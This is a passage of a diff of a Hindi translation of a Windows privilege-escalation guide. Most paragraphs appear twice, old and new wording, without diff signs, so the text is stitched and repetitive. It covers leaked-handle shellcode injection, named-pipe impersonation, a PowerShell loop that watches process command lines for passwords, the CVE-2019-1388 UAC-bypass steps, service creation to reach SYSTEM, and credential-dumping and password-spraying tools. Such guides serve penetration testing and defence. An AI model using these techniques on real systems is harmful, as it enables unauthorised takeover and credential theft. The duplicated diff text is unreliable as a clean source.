फिर, यदि आपके पास **कम विशेषाधिकार वाली प्रक्रिया तक पूर्ण पहुंच है**, तो आप **privileged प्रक्रिया के लिए खोले गए हैंडल को पकड़ सकते हैं** जो `OpenProcess()` के साथ बनाई गई थी और **shellcode इंजेक्ट कर सकते हैं**।\
फिर, यदि आपके पास **कम विशेषाधिकार वाली प्रक्रिया तक पूर्ण पहुंच है**, तो आप **privileged प्रक्रिया के लिए खोले गए हैंडल को पकड़ सकते हैं** जो `OpenProcess()` के साथ बनाई गई थी और **एक shellcode इंजेक्ट कर सकते हैं**।\
[इस उदाहरण को पढ़ें अधिक जानकारी के लिए **इस भेद्यता का पता लगाने और शोषण करने के बारे में**।](leaked-handle-exploitation.md)\
[इस **अन्य पोस्ट को पढ़ें अधिक पूर्ण व्याख्या के लिए कि कैसे विभिन्न स्तरों क अनुमतियों (केवल पूर्ण पहुंच नहीं) के साथ विरासत में मिली प्रक्रियाओं और थ्रेड्स के अधिक खुले हैंडल का परीक्षण और दुरुपयोग करें**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)।
[इस **अन्य पोस्ट को पढ़ें अधिक पूर्ण व्याख्या के लिए कि कैसे विभिन्न स्तरों क अनुमतियों (केवल पूर्ण पहुंच नहीं) के साथ विरासत में मिली प्रक्रियाओं और थ्रेड्स के अधिक खुले हैंडल का परीक्षण और दुरुपयोग करें**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)।
## Named Pipe Client Impersonation
साझा मेमोरी खंड, जिसे **pipes** कहा जाता है, प्रक्रिया संचार और डेटा स्थानांतरण को सक्षम बनाते हैं।
साझा मेमोरी खंड, जिसे **pipes** कहा जाता है, प्रक्रिया संचार और डेटा स्थानांतरण की अनुमति देते हैं।
Windows एक सुविधा प्रदान करता है जिसे **Named Pipes** कहा जाता है, जो असंबंधित प्रक्रियाओं को डेटा साझा करने की अनुमति देता है, यहां तक कि विभिन्न नेटवर्कों पर भी। यह एक क्लाइंट/सर्वर आर्किटेक्चर के समान है, जिसमें भूमिकाएँ **named pipe server** और **named pipe client** के रूप में परिभाषित होती हैं।
जब डेटा एक **client** द्वारा एक पाइप के माध्यम से भेजा जाता है, तो **server** जिसने पाइप सेट किया है, **client** की पहचान **अपनाने** की क्षमता रखता है, बशर्ते कि उसके पास आवश्यक **SeImpersonate** अधिकार हों। एक **privileged प्रक्रिया** की पहचान करना जो एक पाइप के माध्यम से संवाद करती है जिसे आप अनुकरण कर सकते हैं, आपको **उच्च विशेषाधिकार प्राप्त करने** का अवसर प्रदान करता है जब वह प्रक्रिया उस पाइप के साथ बातचीत करती है जिसे आपने स्थापित किया है। इस तरह के हमले को निष्पादित करने के लिए निर्देशों के लिए, सहायक मार्गदर्शिकाएँ [**यहाँ**](named-pipe-client-impersonation.md) और [**यहाँ**](#from-high-integrity-to-system) पाई जा सकती हैं।
इसके अलावा, निम्नलिखित उपकरण **burp जैसे उपकरण के साथ एक named pipe संचार को इंटरसेप्ट करने की अनुमति देता है:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **और यह उपकरण सभी पाइपों को सूचीबद्ध और देखने की अनुमति देता है ताकि privescs को खोजा जा सके** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
इसके अलावा, निम्नलिखित उपकरण **burp जैसे उपकरण के साथ एक named pipe संचार को इंटरसेप्ट करने की अनुमति देता है:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **और यह उपकरण सभी पाइपों को सूचीबद्ध करने और privescs खोजने की अनुमति देता है** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## Misc
### **Monitoring Command Lines for passwords**
जब एक उपयोगकर्ता के रूप में एक शेल प्राप्त करते हैं, तो कुछ शेड्यूल किए गए कार्य या अन्य प्रक्रियाएँ चल रही हो सकती हैं जो **कमांड लाइन पर क्रेडेंशियल्स पास करती हैं**। नीचे दिया गया स्क्रिप्ट हर दो सेकंड में प्रक्रिया कमांड लाइनों को कैप्चर करता है और वर्तमान स्थिति की तुलना पिछले स्थिति से करता है, किसी भी अंतर को आउटपुट करता है।
जब एक उपयोगकर्ता के रूप में एक शेल प्राप्त करते हैं, तो कुछ शेड्यूल किए गए कार्य या अन्य प्रक्रियाएँ हो सकती हैं जो **कमांड लाइन पर क्रेडेंशियल्स पास करती हैं**। नीचे दिया गया स्क्रिप्ट हर दो सेकंड में प्रक्रिया कमांड लाइनों को कैप्चर करता है और वर्तमान स्थिति की तुलना पिछले स्थिति से करता है, किसी भी अंतर को आउटपुट करता है।
```powershell
while($true)
{
@ -1253,7 +1255,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
यदि आपके पास ग्राफिकल इंटरफेस (कंसोल या RDP के माध्यम से) तक पहुंच है और UAC सक्षम है, तो Microsoft Windows के कुछ संस्करणों में एक अनधिकृत उपयोगकर्ता से "NT\AUTHORITY SYSTEM" जैसे किसी भी अन्य प्रक्रिया को चलाना संभव है।
यह प्रिविलेज को बढ़ाने और एक ही समय में उसी भेद्यता के साथ UAC को बायपास करने की अनुमति देता है। इसके अतिरिक्त, कुछ भी स्थापित करने की आवश्यकता नहीं है और प्रक्रिया के दौरान उपयोग किया जाने वाला बाइनरी Microsoft द्वारा साइन और जारी किया गया है।
यह प्रिविलेज को बढ़ाने और एक ही समय में UAC को बायपास करने की अनुमति देता है, उसी भेद्यता के साथ। इसके अलावा, कुछ भी स्थापित करने की आवश्यकता नहीं है और प्रक्रिया के दौरान उपयोग किया जाने वाला बाइनरी Microsoft द्वारा साइन और जारी किया गया है।
कुछ प्रभावित सिस्टम निम्नलिखित हैं:
```
@ -1277,7 +1279,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
```
इस कमजोरियों का लाभ उठाने के लिए, निम्नलिखित चरणों को पूरा करना आवश्यक है:
इस सुरक्षा कमजोरी का लाभ उठाने के लिए, निम्नलिखित चरणों को पूरा करना आवश्यक है:
```
1) Right click on the HHUPD.EXE file and run it as Administrator.
@ -1299,9 +1301,9 @@ Windows 10 1709 16299 link NOT opened
https://github.com/jas502n/CVE-2019-1388
## व्यवस्थापक मध्यम से उच्च अखंडता स्तर / UAC बायपास
## Administrator Medium से High Integrity Level / UAC Bypass तक
**अखंडता स्तरों के बारे में जानने के लिए इसे पढ़ें:**
**Integrity Levels** के बारे में जानने के लिए इसे पढ़ें:
{{#ref}}
integrity-levels.md
@ -1313,11 +1315,11 @@ integrity-levels.md
../authentication-credentials-uac-and-efs/uac-user-account-control.md
{{#endref}}
## **उच्च अखंडता से सिस्टम तक**
## **High Integrity से System तक**
### **नई सेवा**
यदि आप पहले से ही उच्च अखंडता प्रक्रिया पर चल रहे हैं, तो **SYSTEM पर पास करना** केवल **एक नई सेवा बनाकर और उसे निष्पादित करके** आसान हो सकता है:
यदि आप पहले से ही High Integrity प्रक्रिया पर चल रहे हैं, तो **SYSTEM में पास करना** केवल **एक नई सेवा बनाकर और उसे निष्पादित करके** आसान हो सकता है:
```
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
@ -1333,15 +1335,15 @@ sc start newservicename
### From SeDebug + SeImpersonate to Full Token privileges
यदि आपके पास ये टोकन विशेषाधिकार हैं (संभवतः आप इसे पहले से उच्च इंटीग्रिटी प्रक्रिया में पाएंगे), तो आप **लगभग किसी भी प्रक्रिया को** (सुरक्षित प्रक्रियाओं को छोड़कर) SeDebug विशेषाधिकार के साथ **खोलने**, प्रक्रिया का **टोकन कॉपी करे**, और उस टोकन के साथ एक **मनमाना प्रक्रिया बनाने** में सक्षम होंगे।\
इस तकनीक का उपयोग आमतौर पर **SYSTEM के रूप में चल रही किसी भी प्रक्रिया को सभी टोकन विशेषाधिकारों के साथ चुना जाता है** (_हाँ, आप सभी टोकन विशेषाधिकारों के बिना SYSTEM प्रक्रियाएँ खोज सकते हैं_)।\
**आप एक** [**उदाहरण कोड executing the proposed technique यहाँ खोज सकते हैं**](sedebug-+-seimpersonate-copy-token.md)**।**
यदि आपके पास ये टोकन विशेषाधिकार हैं (संभवतः आप इसे पहले से उच्च इंटीग्रिटी प्रक्रिया में पाएंगे), तो आप **लगभग किसी भी प्रक्रिया को खोलने** में सक्षम होंगे (संरक्षित प्रक्रियाएँ नहीं) SeDebug विशेषाधिकार के साथ, **प्रक्रिया का टोकन कॉपी करे**, और **उस टोकन के साथ एक मनमाना प्रक्रिया बनाएं**।\
इस तकनीक का उपयोग आमतौर पर **SYSTEM के रूप में चल रही किसी भी प्रक्रिया को चुनने के लिए किया जाता है जिसमें सभी टोकन विशेषाधिकार होते हैं** (_हाँ, आप सभी टोकन विशेषाधिकार के बिना SYSTEM प्रक्रियाएँ पा सकते हैं_)।\
**आप एक** [**उदाहरण यहाँ खोज सकते हैं जो प्रस्तावित तकनीक को निष्पादित करता है**](sedebug-+-seimpersonate-copy-token.md)**।**
### **Named Pipes**
यह तकनीक मीटरप्रटर द्वारा `getsystem` में वृद्धि के लिए उपयोग की जाती है। यह तकनीक **एक पाइप बनाने और फिर उस पाइप पर लिखने के लिए एक सेवा बनाने/दुरुपयोग करने** पर आधारित है। फिर, **सर्वर** जिसने **`SeImpersonate`** विशेषाधिकार का उपयोग करके पाइप बनाया, वह पाइप क्लाइंट (सेवा) के टोकन को **प्रतिनिधित्व** करने में सक्षम होगा और SYSTEM विशेषाधिकार प्राप्त करेगा।\
यह तकनीक मीटरप्रटर द्वारा `getsystem` में वृद्धि के लिए उपयोग की जाती है। यह तकनीक **एक पाइप बनाने और फिर उस पाइप पर लिखने के लिए एक सेवा बनाने/दुरुपयोग करने** पर आधारित है। फिर, **सर्वर** जिसने **`SeImpersonate`** विशेषाधिकार का उपयोग करके पाइप बनाया, वह पाइप क्लाइंट (सेवा) के टोकन को **प्रतिनिधित्व** करने में सक्षम होगा जिससे SYSTEM विशेषाधिकार प्राप्त होंगे।\
यदि आप [**नाम पाइप के बारे में अधिक जानना चाहते हैं तो आपको यह पढ़ना चाहिए**](#named-pipe-client-impersonation)।\
यदि आप [**उदाहरण पढ़ना चाहते हैं कि कैसे उच्च इंटीग्रिटी से SYSTEM में जाना है नाम पाइप का उपयोग करते हुए तो आपको यह पढ़ना चाहिए**](from-high-integrity-to-system-with-name-pipes.md)।
यदि आप [**उच्च इंटीग्रिटी से SYSTEM में जाने के लिए नाम पाइप का उपयोग करने का एक उदाहरण पढ़ना चाहते हैं तो आपको यह पढ़ना चाहिए**](from-high-integrity-to-system-with-name-pipes.md)।
### Dll Hijacking
@ -1374,16 +1376,16 @@ https://github.com/sailay1996/RpcSsImpersonator
[**privesc** ](https://github.com/enjoiz/Privesc)**-- गलत कॉन्फ़िगरेशन की जांच करें**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- यह PuTTY, WinSCP, SuperPuTTY, FileZilla, और RDP सहेजे गए सत्र की जानकारी निकालता है। स्थानीय में -Thorough का उपयोग करें।**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- क्रेडेंशियल मैनेजर से क्रेडेंशियल निकालता है। पता चला।**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- डोमेन के चारों ओर एकत्रित पासवर्ड का छिड़काव करें**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- डोमेन के चारों ओर एकत्रित पासवर्ड को स्प्रे करें**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh एक PowerShell ADIDNS/LLMNR/mDNS/NBNS स्पूफर और मैन-इन-द-मिडल उपकरण है।**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- बुनियादी privesc Windows एन्यूमरेशन**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- बुनियादी privesc Windows एनुमेरशन**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- ज्ञात privesc कमजोरियों की खोज करें (DEPRECATED for Watson)\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- स्थानीय जांच **(एडमिन अधिकारों की आवश्यकता)**
**Exe**
[**Watson**](https://github.com/rasta-mouse/Watson) -- ज्ञात privesc कमजोरियों की खोज करें (इसे VisualStudio का उपयोग करके संकलित करने की आवश्यकता है) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- गलत कॉन्फ़िगरेशन की खोज के लिए होस्ट का एन्यूमरेट करता है (यह privesc से अधिक जानकारी एकत्र करने का उपकरण है) (इसे संकलित करने की आवश्यकता है) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**Watson**](https://github.com/rasta-mouse/Watson) -- ज्ञात privesc कमजोरियों की खोज करें (इसे VisualStudio का उपयोग करके संकलित करने की आवश्यकता है) ([**पूर्व-संकलित**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- गलत कॉन्फ़िगरेशन की खोज के लिए होस्ट का एनुमरेशन करता है (यह privesc से अधिक जानकारी एकत्र करने का उपकरण है) (संकलित करने की आवश्यकता) **(**[**पूर्व-संकलित**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- कई सॉफ़्टवेयर से क्रेडेंशियल निकालता है (गिटहब में पूर्व-संकलित exe)**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- C# में PowerUp का पोर्ट**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- गलत कॉन्फ़िगरेशन की जांच करें (गिटहब में पूर्व-संकलित निष्पादन योग्य)। अनुशंसित नहीं। यह Win10 में ठीक से काम नहीं करता।\
@ -1391,7 +1393,7 @@ https://github.com/sailay1996/RpcSsImpersonator
**Bat**
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- इस पोस्ट के आधार पर बनाया गया उपकरण (इसका सही तरीके से काम करने के लिए accesschk की आवश्यकता नहीं है लेकिन इसका उपयोग कर सकता है)।
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- इस पोस्ट पर आधारित उपकरण (इसका सही तरीके से काम करने के लिए accesschk की आवश्यकता नहीं है लेकिन इसका उपयोग कर सकता है)।
**Local**
@ -1402,7 +1404,7 @@ https://github.com/sailay1996/RpcSsImpersonator
_multi/recon/local_exploit_suggestor_
आपको प्रोजेक्ट को सही .NET संस्करण का उपयोग करके संकलित करना होगा ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). पीड़ित होस्ट पर स्थापित .NET संस्करण देखने के लिए आप कर सकते हैं:
आपको सही .NET संस्करण का उपयोग करके प्रोजेक्ट को संकलित करना होगा ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). पीड़ित होस्ट पर स्थापित .NET संस्करण देखने के लिए आप कर सकते हैं:
```
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
```